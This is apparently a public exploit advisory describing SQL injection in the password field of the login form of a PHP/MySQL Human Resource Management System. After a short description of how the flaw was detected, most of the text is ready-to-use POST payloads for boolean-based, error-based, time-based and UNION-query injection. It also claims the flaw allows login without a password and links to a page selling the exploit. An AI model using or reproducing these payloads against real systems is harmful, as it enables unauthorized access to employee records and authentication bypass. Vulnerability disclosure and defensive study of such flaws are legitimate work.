# Titles: HRM-1.0-2025 Multiple-SQLi # Author: nu11secur1ty # Date: 06/06/2025 # Vendor: https://github.com/oretnom23 # Software: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html # Reference: https://portswigger.net/web-security/sql-injection ## Description: The password parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the password parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. Additionally, the payload '+(select*from(select(sleep(20)))a)+' was submitted in the password parameter. The application took 20011 milliseconds to respond to the request, compared with 3 milliseconds for the original request, indicating that the injected SQL command caused a time delay. The attacker can get all sensitive information from this system when he attacks it online, He can login super easily WITHOUT PASSWORD - ONLY USER - bypassing, and can crash or get every sensitive information from him! STATUS: HIGH-CRITICAL Vulnerability [+]Exploit: - SQLi: ```SQLi --- Parameter: password (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: [email protected]&password=a9Z!d6c!S1' OR NOT 6152=6152# HdeE&submit=Sign In Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: [email protected]&password=a9Z!d6c!S1' OR (SELECT 1812 FROM(SELECT COUNT(*),CONCAT(0x7170716a71,(SELECT (ELT(1812=1812,1))),0x716b6b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# eWoJ&submit=Sign In Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: [email protected]&password=a9Z!d6c!S1' AND (SELECT 5433 FROM (SELECT(SLEEP(7)))qgyD)# Altf&submit=Sign In Type: UNION query Title: MySQL UNION query (NULL) - 29 columns Payload: [email protected]&password=a9Z!d6c!S1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170716a71,0x464a4546456d4a6a65717a5968475571697850644a4452416252794b54495273796650437252665a,0x716b6b7871),NULL#&submit=Sign In --- ``` # Reproduce: [href](https://www.youtube.com/watch?v=rmvP_hJGu3M) # Buy an exploit only: [href](https://satoshidisk.com/pay/COZf0l) # Time spent: 01:37:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>